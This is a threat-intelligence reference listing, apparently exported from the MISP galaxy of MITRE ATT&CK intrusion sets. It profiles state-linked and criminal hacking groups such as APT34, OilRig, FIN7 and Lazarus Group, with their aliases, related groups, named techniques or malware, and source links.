https://securelist.com/operation-daybreak/75100/

Cleaver - G0003

Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Cleaver - G0003"*

Cleaver - G0003 is also known as:

- Cleaver
- TG-2889
- Threat Group 2889

Cleaver - G0003 has relationships with:

- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"

Table 2093. Table References

Links
https://attack.mitre.org/wiki/Group/G0003
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf
http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/

APT12 - G0005

APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="APT12 - G0005"*

APT12 - G0005 is also known as:

- APT12
- IXESHE
- DynCalc
- Numbered Panda
- DNSCALC

APT12 - G0005 has relationships with:

- similar: misp-galaxy:threat-actor="IXESHE" with estimative-language:likelihood-

probability="likely"

Table 2094. Table References

Links
https://attack.mitre.org/wiki/Group/G0005
http://www.crowdstrike.com/blog/whois-numbered-panda/

NEODYMIUM - G0055

NEODYMIUM is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called PROMETHIUM due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="NEODYMIUM - G0055"*

NEODYMIUM - G0055 is also known as:

- NEODYMIUM

NEODYMIUM - G0055 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="NEODYMIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="NEODYMIUM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="Wingbird - S0176" with estimative-language:likelihood-probability="almost-certain"

Table 2095. Table References

Links
https://attack.mitre.org/wiki/Group/G0055
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf
https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/

APT34 - G0057

APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="APT34 - G0057"*

APT34 - G0057 is also known as:

- APT34

APT34 - G0057 has relationships with:

- similar: misp-galaxy:threat-actor="APT34" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"

Table 2096. Table References

Links
https://attack.mitre.org/wiki/Group/G0057
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html

Moafee - G0002

Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. (Citation: Haq 2014)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Moafee - G0002"*

Moafee - G0002 is also known as:

- Moafee

Moafee - G0002 has relationships with:

- similar: misp-galaxy:threat-actor="DragonOK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="DragonOK - G0017" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"

Table 2097. Table References

Links

https://attack.mitre.org/wiki/Group/G0002
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

Threat Group-3390 - G0027

Threat Group-3390 is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Threat Group-3390 - G0027"*

Threat Group-3390 - G0027 is also known as:

- Threat Group-3390
- TG-3390
- Emissary Panda
- BRONZE UNION

Threat Group-3390 - G0027 has relationships with:

- similar: misp-galaxy:threat-actor="Emissary Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Threat Group-3390" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="LuckyMouse" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"

Table 2098. Table References

Links
https://attack.mitre.org/wiki/Group/G0027
http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/
https://www.secureworks.com/research/bronze-union

DragonOK - G0017

DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="DragonOK - G0017"*

DragonOK - G0017 is also known as:

- DragonOK

DragonOK - G0017 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Moafee - G0002" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="DragonOK" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"

Table 2099. Table References

Links
https://attack.mitre.org/wiki/Group/G0017
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf
http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/

APT1 - G0006

APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="APT1 - G0006"*

APT1 - G0006 is also known as:

- APT1
- Comment Crew
- Comment Group
- Comment Panda

APT1 - G0006 has relationships with:

- similar: misp-galaxy:threat-actor="Comment Crew" with estimative-language:likelihood-probability="likely"

Table 2100. Table References

Links

https://attack.mitre.org/wiki/Group/G0006
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

FIN10 - G0051

FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="FIN10 - G0051"*

FIN10 - G0051 is also known as:

- FIN10

FIN10 - G0051 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"

Table 2101. Table References

Links
https://attack.mitre.org/wiki/Group/G0051
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf

OilRig - G0049

OilRig is a threat group with suspected Iranian origins that has targeted Middle Eastern and international victims since at least 2015. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook OilRig Dec 2017) Reporting on OilRig may loosely overlap with APT34, but may not wholly align due to companies tracking groups in different ways. (Citation: FireEye APT34 Dec 2017)

Contributors: Robert Falcone, Bryan Lee

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="OilRig - G0049"*

OilRig - G0049 is also known as:

- OilRig

OilRig - G0049 has relationships with:

- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-

probability="likely"

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 2102. Table References

Links
https://attack.mitre.org/wiki/Group/G0049
http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/
http://www.clearskysec.com/oilrig/
http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
https://pan-unit42.github.io/playbook%20viewer/
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html

Charming Kitten - G0058

Charming Kitten is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. Charming Kitten usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group’s TTPs overlap extensively with another group, Rocket Kitten, resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Charming Kitten - G0058"*

Charming Kitten - G0058 is also known as:

- Charming Kitten

Charming Kitten - G0058 has relationships with:

- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="DownPaper - S0186" with estimative-language:likelihood-probability="almost-certain"

Table 2103. Table References

Links
https://attack.mitre.org/wiki/Group/G0058
http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf

FIN5 - G0053

FIN5 is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)

Contributors: Walker Johnson

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="FIN5 - G0053"*

FIN5 - G0053 is also known as:

- FIN5

FIN5 - G0053 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-malware="FLIPSIDE - S0173" with estimative-language:likelihood-probability="almost-certain"

Table 2104. Table References

Links
https://attack.mitre.org/wiki/Group/G0053
https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html
https://www.youtube.com/watch?v=fevGZs0EQu8
https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?

BlackOasis - G0063

BlackOasis is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="BlackOasis - G0063"*

BlackOasis - G0063 is also known as:

- BlackOasis

BlackOasis - G0063 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 2105. Table References

Links
https://attack.mitre.org/wiki/Group/G0063
https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/
https://securelist.com/apt-trends-report-q2-2017/79332/
https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/

Taidoor - G0015

Taidoor is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Taidoor - G0015"*

Taidoor - G0015 is also known as:

- Taidoor

Taidoor - G0015 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Table 2106. Table References

Links
https://attack.mitre.org/wiki/Group/G0015
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf

Night Dragon - G0014

Night Dragon is a campaign name for activity involving threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon) The activity from this group is also known as Musical Chairs. (Citation: Arbor Musical Chairs Feb 2018)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Night Dragon - G0014"*

Night Dragon - G0014 is also known as:

- Night Dragon
- Musical Chairs

Night Dragon - G0014 has relationships with:

- similar: misp-galaxy:threat-actor="Night Dragon" with estimative-language:likelihood-probability="likely"

Table 2107. Table References

Links
https://attack.mitre.org/wiki/Group/G0014
https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee%20NightDragon%20wp%20draft%20to%20customersv1-1.pdf
https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/

Naikon - G0019

Naikon is a threat group that has focused on targets around the South China Sea. (Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020). (Citation: CameraShy) While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Naikon - G0019"*

Naikon - G0019 is also known as:

- Naikon

Naikon - G0019 has relationships with:

- similar: misp-galaxy:threat-actor="Naikon" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Lotus Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT 30" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="APT30 - G0013" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"

Table 2108. Table References

Links
https://attack.mitre.org/wiki/Group/G0019
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf
http://cdn2.hubspot.net/hubfs/454298/Project%20CAMERASHY%20ThreatConnect%20Copyright%202015.pdf
https://securelist.com/the-naikon-apt/69953/

Ke3chang - G0004

Ke3chang is a threat group attributed to actors operating out of China. (Citation: Villeneuve et al 2014)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Ke3chang - G0004"*

Ke3chang - G0004 is also known as:

- Ke3chang

Ke3chang - G0004 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

Table 2109. Table References

Links
https://attack.mitre.org/wiki/Group/G0004
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf

APT32 - G0050

APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists, and has extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="APT32 - G0050"*

APT32 - G0050 is also known as:

- APT32
- OceanLotus Group

APT32 - G0050 has relationships with:

- similar: misp-galaxy:threat-actor="APT32" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 2110. Table References

Links
https://attack.mitre.org/wiki/Group/G0050
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/

MuddyWater - G0069

MuddyWater is an Iranian threat group that has primarily targeted Middle Eastern nations. Activity from this group was previously linked to FIN7, but is believed to be a distinct group motivated by espionage. (Citation: Unit 42 MuddyWater Nov 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="MuddyWater - G0069"*

MuddyWater - G0069 is also known as:

- MuddyWater
- TEMP.Zagros

MuddyWater - G0069 has relationships with:

- similar: misp-galaxy:threat-actor="MuddyWater" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"

Table 2111. Table References

Links
https://attack.mitre.org/wiki/Group/G0069
https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/

Patchwork - G0040

Patchwork is a threat group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Much of the code used by this group was copied and pasted from online forums. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Patchwork - G0040"*

Patchwork - G0040 is also known as:

- Patchwork
- Dropping Elephant
- Chinastrats
- MONSOON
- Operation Hangover

Patchwork - G0040 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="MONSOON - G0042" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Dropping Elephant" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"

Table 2112. Table References

Links
https://attack.mitre.org/wiki/Group/G0040
https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling%20Patchwork.pdf
http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries

APT30 - G0013

APT30 is a threat group suspected to be associated with the Chinese government. (Citation: FireEye APT30) While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="APT30 - G0013"*

APT30 - G0013 is also known as:

- APT30

APT30 - G0013 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Naikon - G0019" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Naikon" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Lotus Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT 30" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="BACKSPACE - S0031" with estimative-language:likelihood-probability="almost-certain"

Table 2113. Table References

Links
https://attack.mitre.org/wiki/Group/G0013
https://www2.fireeye.com/rs/fireeye/images/rpt-apt30.pdf

https://securelist.com/the-naikon-apt/69953/

MONSOON - G0042

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="MONSOON - G0042"*

MONSOON - G0042 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Patchwork - G0040" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Dropping Elephant" with estimative-language:likelihood-probability="likely"

Table 2114. Table References

Links
https://attack.mitre.org/wiki/Group/G0042

APT17 - G0025

APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="APT17 - G0025"*

APT17 - G0025 is also known as:

- APT17
- Deputy Dog

APT17 - G0025 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Winnti Group - G0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Axiom" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Aurora Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Axiom - G0001" with estimative-language:likelihood-probability="likely"

Table 2115. Table References

Links
https://attack.mitre.org/wiki/Group/G0025
https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf

FIN7 - G0046

FIN7 is a financially motivated threat group that has primarily targeted the retail and hospitality sectors, often using point-of-sale malware. It is sometimes referred to as Carbanak Group, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="FIN7 - G0046"*

FIN7 - G0046 is also known as:

- FIN7

FIN7 - G0046 has relationships with:

- similar: misp-galaxy:threat-actor="Anunak" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Carbanak - G0008" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 2116. Table References

Links
https://attack.mitre.org/wiki/Group/G0046
https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html

APT3 - G0022

APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)

```
(Citation: APT3 Adversary Emulation Plan)
```

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="APT3 - G0022"*

APT3 - G0022 is also known as:

- APT3
- Gothic Panda

- Pirpi
- UPS Team
- Buckeye
- Threat Group-0110
- TG-0110

APT3 - G0022 has relationships with:

- similar: misp-galaxy:threat-actor="UPS" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"

Table 2117. Table References

Links
https://attack.mitre.org/wiki/Group/G0022
https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html
https://www.recordedfuture.com/chinese-mss-behind-apt3/
https://www.fireeye.com/blog/threat-research/2014/11/operation%20doubletap.html
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong
https://attack.mitre.org/w/img%20auth.php/6/6c/APT3%20Adversary%20Emulation%20Plan.pdf

GCMAN - G0036

GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="GCMAN - G0036"*

GCMAN - G0036 is also known as:

- GCMAN

GCMAN - G0036 has relationships with:

- similar: misp-galaxy:threat-actor="GCMAN" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"

Table 2118. Table References

Links
https://attack.mitre.org/wiki/Group/G0036

https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/

Lazarus Group - G0032

Lazarus Group is a threat group that has been attributed to the North Korean government. (Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by Lazarus Group correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Lazarus Group - G0032"*

Lazarus Group - G0032 is also known as:

- Lazarus Group
- HIDDEN COBRA
- Guardians of Peace
- ZINC
- NICKEL ACADEMY

Lazarus Group - G0032 has relationships with:

- similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="COVELLITE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"

Table 2119. Table References

Links
https://attack.mitre.org/wiki/Group/G0032
https://www.us-cert.gov/ncas/alerts/TA17-164A
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf

Lotus Blossom - G0030

Lotus Blossom is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Lotus Blossom - G0030"*

Lotus Blossom - G0030 is also known as:

- Lotus Blossom
- Spring Dragon

Lotus Blossom - G0030 has relationships with:

- similar: misp-galaxy:threat-actor="Lotus Blossom" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="Emissary - S0082" with estimative-language:likelihood-probability="almost-certain"

Table 2120. Table References

Links
https://attack.mitre.org/wiki/Group/G0030
https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html

Equation - G0020

Equation is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Equation - G0020"*

Equation - G0020 is also known as:

- Equation

Equation - G0020 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Component Firmware - T1109" with estimative-language:likelihood-probability="almost-certain"

Table 2121. Table References

Links
https://attack.mitre.org/wiki/Group/G0020
https://securelist.com/files/2015/02/Equation%20group%20questions%20and%20answers.pdf

Darkhotel - G0012

Darkhotel is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi-Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Darkhotel - G0012"*

Darkhotel - G0012 is also known as:

- Darkhotel

Darkhotel - G0012 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Registry Run Keys / Start Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 2122. Table References

Links
https://attack.mitre.org/wiki/Group/G0012
https://securelist.com/files/2014/11/darkhotel%20kl%2007.11.pdf

Dragonfly - G0035

Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. The group appeared to decrease activity following public exposure in 2014, and re-emerged in late 2015 through 2017. (Citation: Symantec Dragonfly) (Citation: Symantec Dragonfly) Sept 2017

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Dragonfly - G0035"*

Dragonfly - G0035 is also known as:

- Dragonfly
- Energetic Bear

Dragonfly - G0035 has relationships with:

- similar: misp-galaxy:threat-actor="Energetic Bear" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="Trojan.Karagany - S0094" with estimative-language:likelihood-probability="almost-certain"

Table 2123. Table References

Links
https://attack.mitre.org/wiki/Group/G0035
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf

Suckfly - G0039

Suckfly is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Suckfly - G0039"*

Suckfly - G0039 is also known as:

- Suckfly

Suckfly - G0039 has relationships with:

- similar: misp-galaxy:threat-actor="Suckfly" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"

Table 2124. Table References

Links
https://attack.mitre.org/wiki/Group/G0039
